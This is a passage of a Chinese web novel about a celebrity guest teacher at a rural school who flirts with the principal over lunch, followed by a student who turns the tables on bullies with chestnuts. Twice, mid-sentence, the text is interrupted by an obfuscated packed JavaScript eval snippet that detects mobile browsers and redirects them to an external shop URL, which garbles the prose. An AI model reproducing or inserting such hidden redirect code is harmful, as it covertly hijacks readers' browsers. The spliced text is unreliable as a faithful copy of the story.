“下午第一节课是普通话，第二节课是舞蹈，第三节课是相声。” “这样安排，大家觉得还有什么需要改动的吗？” 众人都摇头。 宁斯文拍板：“好，那我们暂且就按照这个课表试几天。” “在这期间随时观察、随时汇报，每天上午十一点半与下午五点半在教研室开全体例会，大家一起交流，商讨解决出现的问题。” “如果某天傍晚五点半到七点需要组织学生活动，则当天傍晚的例会可以取消。总之，一切都是灵活安排。” “好，今天中午的会议就到这里，大家散了吧，好好休息，下午排课的老师记得按照时间到教室上课。” 辛才：“宁哥，今天上午，我和白白已经上过课了。” 大家这才发现这个漏洞。 宁斯文：“第一天的上课顺序确实比较乱……这样，这个课表从明天开始正式施行。” “今天下午的三节课，大家自愿报名。有谁今天下午想讲课？” 戴思秀：“我上课的教学用品都已经准备好了，下午我可以上第一节课。” 欧声声：“那我下午第二节。” 宁斯文的目光落向容清洛：“清洛……第三节课是你上还是我上？” 容清洛：“第一天亮相的机会，宁哥你来吧，我明天上课就行。” 宁斯文：“也好，听邱导说你今天凌晨才到这边，舟车劳顿，估计也没休息好，今天好好休整一下，明天开始上课。” 容清洛：“好。” 上课的顺序终于定下来，大家一起离开教研室。 容清洛一个人前往食堂，在窗口前端着餐盘打饭。 133. 喜相逢 容清洛排在队伍的最后。 上午她为了快速挣积分，在最后一节课下课之前的二十分钟里，完成了好几个运动类项目，消耗比较大。 再加上她今天凌晨才到达青山镇，早上五六点就起来对台本、做造型，根本没睡几个小时，实在是有些疲惫。 容清洛昏昏沉沉地跟着队伍往前移动，终于轮到她。 她倚在窗口前，指着几个看起来还不错的蔬菜和食堂阿姨说：“我要这个，这个，还有这个……” 说完，她将手伸进兜里，准备拿出节目组为嘉宾老师特意配置的校园卡。 可是翻寻半天，却只找到手机、纸巾和教研室的柜门钥匙。 噢对，她今天拿的那个手包是团队为她搭配的，但是在学校里用总感觉有点招摇，毕竟还有那么多学生在呢。 恰好教研室里有一排柜子是专门给每位老师放东西用的，她认领其中一个柜子后，便忙不迭地把手包塞了进去。 好巧不巧，却忘记要把校园卡拿出来。 容清洛询问道：“阿姨，可不可以用手机支付呢？” 窗口内，食堂阿姨摇头：“不行，学校有规定，只能刷校园卡打饭。” 如果现在去校外找宁哥他们蹭饭，也不知道是否还来得及。 另外，如果她和食堂阿姨说这份饭她不要了，会不会从此收获一个黑粉？ 容清洛正在小小的纠结，身后传来调侃的话语：“容小姐，你是鹿吗，只吃草？” 她回头，只瞧见程景逸干净白皙的下颌。 程景逸靠近窗口：“阿姨，你给这位容老师再打一份肉。” 容清洛拽程景逸的袖子，小声道：“不用了，我吃不了这么多，而且我没带……” 只是她还没解释清楚目前的状况，食堂阿姨已经应下来：“好嘞，程校长。” 说话间食堂阿姨便拿着铁勺舀起满满一勺肉放进容清洛的餐盘中，然后在机器上改了价格。 程景逸拿着卡贴在机器上，响起“滴”的一声。 然后他低头道：“容小姐，你刚说什么？” 两人离得很近，近到容清洛可以看清程景逸浅棕色瞳孔中倒映着的自己。 她轻轻摇头道：“没什么，今天你帮我买的饭，下次吃饭我请你。” 程景逸打好饭，温和道：“举手之劳，一顿饭而已，容小姐何必这般在意。” 容清洛抿唇。 “怎么这个表情？”程景逸，“容小姐为正宁捐的钱够容小姐在这个食堂吃一辈子，区区一顿饭又何足挂齿呢？” “若是容小姐连这样普通的一顿食堂份饭都要请回来，可真是让程某的脸无处安放。” 容清洛：“也好，那我就却之不恭了。” 她跟着程景逸往窗边的一张桌子走去。 隐隐约约好像听见男人的轻笑。 程景逸示意容清洛：“我们坐这儿？” 容清洛：“好。” 坐下后，她拿筷子戳着米粒，半晌，没忍住心中疑惑，问道：“你刚刚在笑什么？” 她记得以前程景逸不是这种性格呀？ 程景逸似是很诧异她会问这个问题。 容清洛低头，吃下一口程景逸为她添的肉菜，细细咀嚼。 这是她往常不会碰的食物。 容清洛没有吃第二口，而是默默夹起旁边的蔬菜。 对面又传来一声轻笑。 容清洛抬头，眼里露出不满：“就是这个笑。” 程景逸无奈道：“不好意思，容小姐，让你不高兴了，我不笑了就是。” 容清洛：“所以你到底在笑什么？” 程景逸：“我就是觉得我们的饮食结构不太一样。如果在自然界里，容小姐应该属于鹿这一类食草动物。” 正在夹青菜的容清洛筷子一顿：“食草动物有很多呀，为什么是鹿？” 程景逸：“人们常常说福禄，而鹿与禄同音。容小姐就像鹿一样为正宁带来了福禄和好运。” 容清洛端起打饭附送的汤，缓慢喝着。 程景逸：“容小姐，你想当我们正宁的吉祥物吗？” 容清洛猛地被呛住，捂着嘴咳了起来。 程景逸连忙递过来纸巾。 容清洛没好气道：“我比较想当正宁的金主爸爸。” 程景逸：“可以，不过我们的第一位金主爸爸只能是国家，容小姐只好屈居第二了。” “可以。”容清洛，“那作为正宁的第二大金主，我是不是可以给程校长提一个小要求？” 程景逸：“当然，容小姐请说。” 容清洛：“我的第一个要求就是，希望你不要一口一个容小姐的称呼我，这让我总觉得像是在拍民国戏，感觉怪怪的。你直接喊我名字就行，我叫容清洛。” 讲到这里，容清洛笑起来，逗程景逸：“为了表示你和金主爸爸的关系还不错，你可以叫我清洛。” 程景逸从善如流：“清洛。” 容清洛：“可以，这样喊终于顺耳了。” 程景逸：“清洛，我也可以提一个请求吗？” 容清洛：“程校长还真是不能吃亏，行，你说来听听。” 程景逸：“我也想请你不要总是称呼我为程校长，我们年纪应该差不多，算是同龄人，你也可以直接叫我的名字，我叫程景逸。” 容清洛：“程景逸？” 面对现在的程景逸，她还不太习惯只喊名不喊姓。 “这样可以吗？” 程景逸点头：“当然可以。” 容清洛逗他：“程景逸，其实你也可以直接叫我姐姐。” “姐姐我比你稍微大一些哦。” 程景逸忍不住反驳道：“我明明查过你的百科，词条上有介绍你的出生年月。” “我们是同一年的，而且我还比你年长几个月。” “按照年龄排的话，我可能才是哥哥？” 程景逸不知道自己为什么突然变得这么幼稚，在年龄大小这种无关紧要的事情上竟然也想争个高低。 明明容清洛为学校贡献良多，解决了重建校舍的燃眉之急，他应该把容清洛像财神爷一样高高供起来。 可是不知道为什么，他在容清洛面前很容易就放松下来，两个人说话就像是多年不见的故友，很轻松自在。 而且容清洛其实并不是一个高高在上、居功自傲之人。 相反，她虽然是一个知名度很高的大明星，为人处世却很平易近人。 更重要的是，她的身上有一种似曾相识的气场存在，让他忍不住想要靠近。 程景逸觉得，也许这就是容清洛能拥有那么多粉丝的原因吧，也可以算是她的一种个人魅力。 容清洛：“不错嘛，还做过功课。” 两人吃完饭，走出食堂时，程景逸叫住想要往宿舍楼走的容清洛。 容清洛故意道：“景逸哥哥，你找妹妹还有什么事吗？” 程景逸差点没绷住表情：“容姐，我喊你容姐可以吗？跟你商量个事，千万别叫我景逸哥哥，我鸡皮疙瘩都起来了。” 容清洛自从再见到程景逸，他大多数时候都是一副老成持重的模样，即便开玩笑，也表现得很有风度。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586975|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是她重逢以来，第一次看见程景逸这样的神态，有了少年时候的影子。 时隔多年，她依旧很喜欢和程景逸当朋友。 容清洛眨眨眼：“我考虑一下。” 程景逸无奈点头：“请容姐务必仔细考虑。” 说着，两人告别，在岔路口分开。 程景逸准备回办公室，没走两步又折返回来。 容清洛听到身后的脚步声，回头：“程景逸，你要跟我走吗？” 程景逸笑道：“容姐，和你说正事。刚刚就是你打岔，我才差点忘记要说什么。” 容清洛：“什么事？” 程景逸叮嘱道，“容姐，虽然节目组为了节目效果，要求嘉宾都必须住宿舍，但是如果你感觉不习惯的话，可以和吴焕晗老师联系一下。听她说，你们关系很好。她就住在学校家属院，离得很近，你可以去她那里休息。” 容清洛抱着胸，手指一下一下地轻轻敲打着手臂：“程景逸，我问你一个问题。” 程景逸：“你说。” “你刚刚和我说的话，我可以理解为是在关心我吗？”容清洛扬眉，眼神定定地望着程景逸，“那么，你是在以什么身份表达对我的关心呢？” 程景逸：“清洛你是正宁中学的恩人。恩人来我们学校，我作为校长，当然要无微不至地表达关怀。” 容清洛：“其实我们活在世上，每个人都有很多重身份。” “这种身份，是表现在人与他人之间的关系上的。” “一个人，可以是父母的孩子，也可以是孩子的父亲或母亲，可以是老师的学生，也可以是学生的老师。” 树影婆娑，午后的阳光透过浓密的枝杈洒在程景逸的肩头。 容清洛向前踏出一步，两人的影子靠得紧密。 她继续说道：“在你的话语中，我一直是你的恩人，那你是以怎样的身份认我这个恩人呢？” “仅仅是正宁中学的校长吗？” “校长是工作上的身份，而作为个体，你还代表着你自己。” “程景逸，你会不会将二者混为一谈呢？” 程景逸：“不管是校长程景逸，还是个体程景逸，不都是我吗？” 容清洛：“可是校长不应该想要当我的哥哥。” “校长也不会关心我是否睡得惯学生宿舍。” 程景逸：“可是朋友会。” “在工作上，捐款的容清洛，对代表了正宁中学的校长程景逸而言，是恩人。” “在个人关系上，和程景逸同年的容清洛，是个人程景逸的朋友。” 容清洛点头：“很好。你能想到这一点，我很开心。” 她放下交叉抱着的双臂：“程景逸，我捐钱的对象是正宁中学，不是你，所以当你作为个体程景逸时，和我相处，不需要低人一等，不用总把我当成恩人。” 程景逸：“那当程景逸作为个体存在时，是容清洛的朋友吗？” “是。”看到程景逸的表情，容清洛眼里闪过一丝狡黠，问道，“不过呢，你有没有想过，天底下有那么多学校需要捐款，我为什么偏偏选中你所在的学校，偏偏要当校长程景逸的恩人呢？” 程景逸思考片刻，猜测道：“因为三年前你在清静山恰好去过我学生的家里，知道了正宁中学的情况，而你恰好……” 瞥了面前的容清洛一眼，程景逸继续道：“人美心善又有钱，为了不让山里的孩子们没有学上，所以想要帮学校一把？” 容清洛挑眉：“不止是这一点。” “我走了，我的问题，请作为个体的程景逸多想一想。” 134. 喜相逢 容清洛转身，留下一脸沉思的程景逸站在原地。 她沿着路一直向前，在一个岔路口转弯，趁机回头望去，瞧见程景逸挺拔的背影，心里一时升起些微懊恼。 按照她刚刚的那套说辞，对于个体程景逸而言，她不过是和他只有几面之缘的人。 那她今天的话会不会有点多？ 算了，多思无益。 容清洛打开手机，拨通吴焕晗的电话：“焕焕，吃饭了吗？” 吴焕晗：“正在学校对面打包午饭呢。你吃了吗？我给你带点，中午到我那一起吃呗？” 容清洛：“好呀，那我去找你。不过我在食堂吃了一些，这会儿吃不了太多，你帮我带杯饮料就可以啦。” 吴焕晗：“好的，那吃的我就看着点。你往学校门口走，我买完马上过去。” 容清洛挂掉电话，想到综艺的第一天中午就要吃两顿，她心里突然冒出一些负罪感。 录制综艺期间，嘉宾们身边不让带经纪人和助理，所以汪汪和宫姐这次来并未多待，这会儿已经在回宁川市的路上。 身边虽然无人监督，可镜头就是最公正的标尺，她如果不注意饮食和运动，没能保持满分的营业状态，就很容易被镜头记录下来，节目播出后被群嘲也是自食恶果。 想到这里，容清洛还是觉得不能太放飞自我。 不过刚刚由于和程景逸一起吃饭，她的注意力都不在饭菜上，所以其实没吃几口。 现在确实有点饿，待会儿可以酌情吃一点点。 毕竟她减肥靠的其实不是节食，而是运动。 学校刚好有操场，从明天起，可以每天早上起来跑跑步。 容清洛一面琢磨着自己接下来21天的运动计划，一面回教研室把手包拿上。 等她戴着口罩来到校门口，一眼便瞧见吴焕晗在马路对面，正向这边走来。 吴焕晗也看见了容清洛。 容清洛毕竟是明星，平常很注意身材管理，打扮得也青春靓丽，所以即便她脸上戴着口罩，站在校门口也是一道靓丽的风景线。 这条马路不算宽，没有红绿灯，只有一条斑马线。 吴焕晗一手拎着午饭，一手拎着奶茶，见这会儿没有什么车辆，便飞快地穿过马路，向容清洛跑去。 容清洛挥手：“焕焕，这里。” 吴焕晗：“你还挺快的。” “那是，我帮你拿一个吧。”容清洛笑，她从吴焕晗手里接过一个袋子，两人撑着一把太阳伞往学校家属院走去。 容清洛：“你怎么现在还没吃饭？” 吴焕晗摆手：“别提了。刚刚我带学生们到实验楼，所以耽误了不少时间。” 容清洛疑惑：“去实验楼干什么？” 吴焕晗一边领路，一边道：“有的学生中午不回家。但是拍摄场地人多眼杂的，学生们都还小，其中还有好些女孩子。” “所以程校长说不让学生中午单独留在拍摄场地，专门在另一栋教学楼给学生们准备了一间休息教室，学生们中午可以趴在桌子上睡一会儿。” 讲到这里，她庆幸道：“还好那儿安排的有老师值班，不然我中午还得在教室守着学生。” 容清洛不由叹道：“你们考虑地好周到。” “也是职责所在嘛。”吴焕晗摇头，“不说我了，你怎么样，宿舍还住得惯吗？要不要过来和我住一起？” “谢谢焕焕，”容清洛笑道，“不过我是来工作的嘛，按规定是要住宿舍的。还好节目组没有太不做人，没让几个女嘉宾挤一间宿舍，都是一人住一间寝室。” “况且戴姐和欧姐都住宿舍，她们是前辈，都可以忍受。我一个小辈，有什么不能住的。” 吴焕晗：“要住好几周呢，你寝室里的东西都收拾好了吗？” 容清洛：“我还没收拾呢，我今天凌晨才到，将就住了一晚上。好在节目组提前把床铺准备了，不然我还得大半夜现铺……” 吴焕晗：“今天晚上录制完我去帮你整理一下？” 容清洛：“没事，我助理今天走之前应该已经帮我把房间里大概整理布置了一遍，我回去的工作量很小，自己就可以的。” “那就好。”吴焕晗感慨道，“有助理的感觉原来是这样，太羡慕了。” 容清洛：“姐，我给人家付工资呢。一个团队里，每个人都有自己的分工嘛，我在台前，幕后当然也有人。” 吴焕晗：“你现在也算熬出来了，为你开心。” 容清洛：“是呀，不被人监视的感觉真好。” 她跟着吴焕晗走进一栋单元楼，收起太阳伞，轻拍吴焕晗的肩膀：“焕焕，我们都已经熬过来了。” “嗯。”吴焕晗，“对了洛洛，我上午后来怎么没看到你呀。” 容清洛：“上午我没课，没课的老师都在一楼，节目组对我们有其他安排。你呢，你需要一直在拍摄的教室陪着学生吗？” 吴焕晗：“对呀。学生上课期间我得一直在，时刻关注现场是否有需要解决的问题。” 容清洛：“看来当班主任还是个体力活。” 两人谈话间，容清洛已经跟着吴焕晗走进她住的这间房子。 这是一个两室一厅的小户型，采光很不错。 阳光洒进来，将整个屋内映照得很温馨。 “不错呀，焕焕，你这里布置得好舒适。”容清洛换上拖鞋，站在客厅四下打量。 “我也才来没多久，不过毕竟是自己住的地方，所以也抽时间好好地拾掇了一下。”吴焕晗把打包的饭放在茶几上，关上窗户，打开空调和电视，“咱们一边吃东西一边看个剧吧。” 容清洛欣然同意，两人一起从厨房拿出餐具，将饭盒里的饭菜一个一个装盘。 短暂地混乱过后，两人围坐在客厅的茶几边。 容清洛眯着眼睛靠在沙发上：“舒服。” 吴焕晗拿着遥控器调着频道，一个台一个台换过去，突然屏幕上出现容清洛的身影，她停住，兴奋道：“清洛，这是你演的《刁蛮俏御医》。” 容清洛：“啧啧，这是我演的第一部戏，三年前播出的，没想到今年还有台在放，看来我这个演技还不算太烂。” 吴焕晗放下遥控器：“就看这个吧。” 容清洛：“焕焕，请给本人留点儿面子，吃饭呢，还是不要公开处刑。” 吴焕晗咬着筷子偷笑：“怎么，对自己的演技不自信？刚刚不是还挺自豪的。” 容清洛：“毕竟是第一部戏，进步空间还是挺大的。” 吴焕晗：“我觉得挺好的，我就喜欢看你的剧和综艺下饭。” 容清洛举起饮料：“感谢焕焕的大力支持，今天晚上我请你吃饭。” 吴焕晗也举起饮料，和容清洛碰杯道：“那我可就不跟你客气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586976|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，晚上我带你去尝尝青山镇的特色老店。” 容清洛像喝酒一样灌了一大口：“好嘞，你找地方，我掏钱，绝对管饱。” 她拿起筷子吃菜，想起什么，说道：“对了，我这次来，发现正宁中学虽然地处偏远，在山沟沟里，但是校园设施、人员构成都还挺正规的，属于麻雀虽小、却五脏俱全。” “而且，像你这样新引进的教师还给分配房子。” “感觉这边其实建设得也还算可以。” 吴焕晗：“那是你没亲眼来见过这里以前的样子。实话实说，洛洛，你捐的那些钱，真的起了大作用。如果没有你捐款，这里现在还不知道会是什么模样。” 容清洛低着头，盯着碗中的菜沉默一阵。 吴焕晗问道：“怎么了，洛洛？” 容清洛抬头，有些犹豫，迟迟没有开口。 吴焕晗：“洛洛你是想说什么事情，我俩之间有什么难开口的，你只管说就是，我肯定知无不言、言无不尽。” 容清洛：“焕焕，你知道程景逸住在哪里吗？” “程校长啊……”吴焕晗眨眨眼，拖着长长的尾音，脸上露出“原来如此”的笑意。 容清洛夹起一块炸鸡放进吴焕晗碗中：“好焕焕，你肯定知道，你快说，别卖关子了。” 吴焕晗道：“我听八卦的时候听到过一嘴，具体的地址我也不知道，但是大概的位置我了解。” 容清洛眼睛亮亮的，追问道：“在哪里？也在家属院里吧。” 吴焕晗摇头：“程校长住在老街那边，他没住在家属院。” “老街？”容清洛，“离这里近吗？” 吴焕晗：“不近。” “他不是校长吗？怎么不在家属院弄一套房子住，住那么远做什么，上下班也不方便。”容清洛猜测道，“还是说，老街那边房子比这里高档？” 吴焕晗：“不不不，老街那边顾名思义，都是老房子。你想想青山镇整体是什么水平，那么在青山镇的房子里偏老旧的那一批又该是什么样子？你应该能想象的到。” 容清洛奇怪：“程景逸好歹是校长，怎么住这么差。他混得不好？” “我也才来正宁没多久，很多事了解的也不太清楚。”吴焕晗道，“不过通过我这段时间的观察，我感觉学校的老师和同学都对程校长挺爱戴和支持的。” “没在家属院分到房子，这个应该是程校长自己的意思。” 容清洛：“怎么说？” 吴焕晗凑近道：“我听人说，我这套房子是程校长让给我的。” 容清洛：“啊？真的假的……” 吴焕晗：“据说程校长总是把学校分给他的房子让给新入职的老师。最近几年正宁一直在引进人才，程校长已经让出好多套房子了。所以他现在还在老街那边住。” 容清洛沉吟半晌道：“老街附近有好吃的店吗？” 吴焕晗：“有啊。” 容清洛：“今天晚上吃饭的地方定在老街怎么样？” “我当然没问题呀，”吴焕晗笑道，“不过洛洛，你这是醉翁之意不在酒吧？” 容清洛岔开话题：“吃饭，吃饭。” 吴焕晗闷笑：“我之前和同事聚餐，吃的就是老街的一家酸汤鱼，当时有同事说程校长就住在那儿附近。晚上咱们就去那家店，怎么样？” 容清洛：“正合我意。” 135. 江湖夜雨 晚上七点，综艺的第一天终于在兵荒马乱之中过去。 周佑谷背上书包，目不斜视地从后门离开教室。 朱吴毓推推卢芒，又拍拍杨瑾菲，几人对视一眼，连桌上的东西都来不及收拾，急急忙忙地拿起书包向教室外冲去。 李茹梦看着三人推推搡搡的背影，奇怪道：“她们怎么了？朱吴毓和卢芒两个就算了，连杨瑾菲也不装淑女了？” 她凑到张静思面前，建议道：“静思，我们也跟上她们去看看？” 张静思正对着手机屏幕出神，没听到李茹梦的话。 李茹梦伸出手在张静思面前微微晃动：“静思，在想什么呢，这么专注？” 张静思回神，牵起嘴角笑道：“没什么，在想暑假作业里的一道题。” 李茹梦哀嚎：“真不愧是大小姐，都放假了，还这么认真学习，果然不是我等凡人能比的。” 见张静思没什么反应，她继续建议道：“静思，我刚刚看见杨瑾菲她们三个人特别匆忙地离开，行迹特别可疑，我们也跟去看看？” 张静思本想婉拒，这时，她的手机屏幕亮起，显示一条信息。 她划开锁屏，点进去，是一条回复。 「谢谢，我能解决。」 这一条的上面是她今天发过去的一条信息。 「大表哥，今天我在学校录综艺，周佑雨也来了。你们要注意哦。」 隔了这么久才回复，而且语气还这么冷淡疏离，张静思能想象出那人是带着怎样的表情打出这句话。 不过顶着那么张好看的脸，如果脾气再平易近人的话，也真是招蜂引蝶。 想到这里，张静思又有些释怀。 这时手机又震动几下。 是二表哥几张贱贱的表情包，以及一句讨饶的道歉。 「老妹儿，今天不能带你去玩了，我和大哥临时有事去办，咱们改天再约！我先撤了！」 看清信息的内容，张静思“啪”地将手机扣在桌上。 李茹梦以为张静思对她刚刚的建议十分不满，连忙道歉道：“对不起静思，你别生气嘛，你要是不愿意就算了，当我没说，只是你千万别生我的气。你是不是还得回去学习，那我不打扰你了……” 张静思重新拿起手机，飞快地打下一行字。 「没事哥哥，你和大表哥办正事要紧，之后请我吃饭就行。」 然后她抬头对李茹梦说道：“我们跟上去。” 李茹梦巴拉巴拉说了一大堆道歉的话，生怕把张静思惹生气了，却没想到这位大小姐竟然答应了，她一时有些懵：“什么？” 张静思快速地将桌面上的文具收紧书包：“我说，快走，免得追不上她们了。” 她刚刚注意到杨瑾菲几人是跟在周佑雨身后出门的。 要是她没猜错的话，待会儿也许能看见表哥他们。 闻言，李茹梦心花怒放，拿起早已装好的书包从凳子上跳起来，将桌上的黑框眼镜戴上，摆出一副侦探模样：“好耶静思，让我们一起出发，看看她们究竟搞什么鬼。” *** 另一边，杨瑾菲三人奔下楼，却没有看见周佑雨的身影。 杨瑾菲的脸色阴沉：“跑得还真快。” 卢芒出主意道：“周佑雨离开学校，肯定要经过校门。我们骑自行车快一些，直接到校门外堵她。” 几人到自行车棚骑上车，飞快地驶向校门。 朱吴毓眼尖，远远地瞧见周佑雨出了校门往右边走去。 她指着那个方向道：“在那边！” 卢芒喊道：“快追！” 这时，恰好有一辆48路公交车经过，停在正宁中学大门右侧的公交站牌下。 三人骑着车紧赶慢赶，却眼睁睁地瞧见周佑雨混在人群中走上公交车。 盯着远远驶离的公交车，几人停在路边气喘吁吁。 朱吴毓单脚踩着踏板：“还追吗？” 杨瑾菲将帽檐往下拉了拉，说道：“追！” 她们骑车走远后，张静思和李茹梦在校门口拦下一辆出租车。 司机问：“小姑娘，你们去哪儿？” 李茹梦：“叔叔，跟着前面骑自行车的那几个女生就行。” 察觉到司机怪异的眼神，张静思轻拉李茹梦的手腕，示意她别说话，然后笑着解释道：“叔叔你别误会，我们跟那几个同学是一起的。我们约着出去玩，只是我俩没带自行车，而且不认路，所以只能打的跟在她们后面。” 司机这才明白，一踩油门，紧紧跟上前方的几个女生：“原来是这样，你们放心，保准不会跟丢的。” *** 周佑谷坐在公交车上，手里攥着一张纸条，眼底翻涌着愤怒。 半晌，她闭上眼，深呼吸，不断稳定着自己的情绪。 再睁眼，整个人又恢复了宁静。 周佑谷打开纸条，沉默地看着上面的一行字：老街32号松雅居6栋2单元502。 希望那里能找到她要的答案。 她在老街口这一站下车，按照导航寻找“老街32号松雅居”。 刚拐进一个小巷，就听见身后传来车轮碾过树枝的声响。 这条路比较狭窄，周佑谷往侧边让了让，却迟迟没有车通过。 她扭头，便见三个女生骑着自行车并排跟在她身后。 杨瑾菲三人见已被发现，便不再躲藏，直接将周佑雨团团围住。 视线扫过三人身上韶光一班的校服以及她们胸前别着的名牌，周佑谷挑眉，与她们挥手，笑着打招呼：“嗨，你们好呀。” 杨瑾菲下车，将自行车停在一边。 她走近周佑雨，嗤笑道：“周佑雨，你好，我们就不好。” 说着，她伸手就要拍周佑雨的脸颊。 周佑谷眯着眼，飞快地躲开。 杨瑾菲新奇地“哟”了一声，转身和朱吴毓、卢芒两人对视一眼。 卢芒和朱吴毓也都停下车，走近周佑雨。 卢芒：“还敢躲？” 朱吴毓：“周佑雨，我看你是没被张静思她表哥打怕……” 听到朱吴毓的话，卢芒连忙将胳膊搭在朱吴毓肩上，脸凑过去给她使眼色。 朱吴毓撇嘴：“好吧，我不说就是了。” 杨瑾菲绕着周佑雨走了一圈，打量一番，啧啧道：“周佑雨，我倒是真有点佩服你了，恢复得还挺快……” 周佑谷挑眉：“我需要谢谢你的赞誉吗？” “那倒不必。”杨瑾菲望进周佑雨的眼睛，冷笑道，“你就是那路边的野草，只配我们踩在脚下。我们夸一下雨后的青草茂盛油绿，不代表我们以后不会继续踩你呀。” “你就该永远待在泥泞里。” “你说，对吗？”话音未落，杨瑾菲抬手迅速地向周佑雨脸上挥去。 此时正值盛夏，虽然已经是晚上七点多，薄暮余晖仍未黯淡。 居民楼里三三两两地亮起灯火，这条小巷两侧的路灯却并不明亮，甚至还有一个灯泡在这一瞬间坏掉，忽闪几下，突然熄灭。 佑雨，原来你过的是这样的日子吗？ 姐姐帮你教训她们。 周佑谷身形未动，眼里极快地闪过一丝微光。 她出手，稳稳地抓住杨瑾菲的手腕。 杨瑾菲没料到甩巴掌会被拦住，她使劲晃动，却无法挣脱，不由得对周佑雨怒目而视：“周佑雨，你给我放开。” 朱吴毓和卢芒见状，都上前对周佑雨拳打脚踢，让她把杨瑾菲放开。 周佑谷勾起嘴角，眼神却很冷：“你们怕是还没搞清楚状况。” 她松开杨瑾菲，轻松格挡朱吴毓和卢芒两人毫无章法的攻击。 趁着打斗间，周佑谷四下里张望，并没有看见监控。 很好，这么偏僻的地方，这几个人敢如此张狂，就别怪她不客气。 而且看样子，她们这么做不是第一次了。 周佑谷想到这里，愤怒涌上心头，反守为攻，下手略微重了一些。 没过多久，这条小巷便响起此起彼伏的痛呼声。 *** 张静思和李茹梦躲在垃圾集装箱后面，亲眼目睹了周佑雨和杨瑾菲几人的对峙，以及双方打架的场景。 杨瑾菲三人占了人数优势。 可即便如此，她们三人在周佑雨面前也没有讨到好处，甚至总是在即将打到周佑雨的时候反被周佑雨收拾。 可偏偏杨瑾菲几人又没被打伤，别说见血了，连红肿都无。 周佑雨只是时不时地拍一下杨瑾菲的脸，扯一下卢芒的头发，推一下朱吴毓的后背。 几人被周佑雨来来回回像耍猴一样耍地团团转。 李茹梦瑟瑟发抖：“这个女生好厉害呀，今天在班上她挺沉默的，没想到动起手来还挺狠。离得有点远，也没听清楚她们在说什么，她们这是为什么打起来呀。杨瑾菲几个这是找茬儿不成被反杀吗？” 张静思皱起眉头：“确实……还挺不一样的。” *** 这边，杨瑾菲三人本来是追着周佑雨打，却不知道什么时候被周佑雨控制了局面，几人隐约间终于意识到被周佑雨耍了，再加上她们确实是都跑不动了，便都停住步伐，靠在一起喘气。 周佑谷见几人停下，她缓缓向后倒退，退到和杨瑾菲几人之间隔了一定距离后，她在包里翻了翻，拿出一个牛皮纸袋，可惜道：“真是便宜你们几个了。” 杨瑾菲三人还没弄明白这话是什么意思，脑袋就都被什么东西砸中。 “好疼！” 卢芒抱着脑袋揉了半天，然后从地上将那棕色的小块捡起一看，顿时黑脸。 朱吴毓：“什么东西呀？” 杨瑾菲也捡起小棕块，这才发现，那竟然是炒板栗。 她有些无语，没好气地将东西塞进朱吴毓手里：“是炒板栗。” 朱吴毓从地上捡起刚刚周佑雨砸她的板栗，又对卢芒道：“板栗给我。” 卢芒一头雾水，不过仍然将手里的板栗递给朱吴毓：“你干什么？” 此时，朱吴毓手握刚刚周佑雨砸过来的三枚板栗，冷笑道：“以其人之道还治其人之身。” 她瞄准周佑雨的脸，将三枚板栗接连砸过去。 周佑谷本来正可惜被浪费掉的板栗，没想到对面竟然把“武器”还了回来。 她敏捷地将几个奔向她面门的板栗接住，转手就又朝着杨瑾菲三人砸了过去。 “砰。” “砰。” “砰。” 这回，这三枚板栗分别砸中这几人的脸蛋。 杨瑾菲捂着脸，怒道：“周佑雨！” 卢芒骂骂咧咧：“打人不打脸！” 朱吴毓气得都结巴了：“你你你……你不讲武德！” “没用石子儿招呼你们，已经很够意思了。你们应该庆幸，碰见我这么好心的人。” 周佑谷从袋子中又掏出几个板栗，在手中抛了抛，笑道：“都说礼尚往来，你们对我如此热情，我又怎好意思不回敬一二。” “来，我请大家吃板栗。” “诸位，都接好了哦。” 话毕，周佑谷便一刻不停地将手中板栗投掷出去。 杨瑾菲三人想躲，可偏偏总也躲不过去。 她们的脑门、左右脸、鼻子和嘴都有被砸过来的板栗照顾到。 卢芒破口大骂：“周佑雨你是神经病吧……” 结果她话还没说完，一枚板栗猝不及防地冲进她张着的嘴里，震得她牙疼。 周佑谷一边砸，一边摇头道：“人家好心请你们吃东西，你们却不领情。人家真的好伤心。” 朱吴毓本来也想骂周佑雨，可是看见卢芒的下场，她连忙捂住自己的嘴，不敢说话。 卢芒从嘴里掏出那枚板栗，狠狠地砸了回去，却被周佑雨轻松接住并且反手砸了回来。 卢芒闪身躲避，可那板栗像是长了眼睛，还是砸中她的脑门。 看着周佑雨挂在唇边的笑意，卢芒怒火中烧，就要上前跟周佑雨拼了。 杨瑾菲拉住卢芒，对二人讲：“我们又打不过她，好汉不吃眼前亏，今天先撤吧。难道还站在这儿挨打呀？” 朱吴毓点头赞同：“周佑雨今天太邪门了，难道是之前被欺负狠了，现在黑化了？我们撤吧。” 卢芒不情不愿，但是也没办法，只能跟着两人一起离开。 周佑谷见状，便收手，不再丢板栗。 她晃了晃手里的牛皮纸袋，剩下的板栗不多了。 看着满地的板栗，周佑谷突然有些后悔：“人说肉包子打狗——有去无回。我这板栗打狗，还真是有去有回。” 自嘲一句，周佑谷默默地蹲下身，开始捡板栗。 *** 仍旧蹲在垃圾集装箱后面的李茹梦见到这一幕，一时有些无语：“这是打完架之后打扫战场？” 张静思满头黑线：“收拾乱扔的垃圾，不给环卫工人增添负担……她可真是个好孩子。” 李茹梦扶额道：“拿板栗砸人的好孩子。” 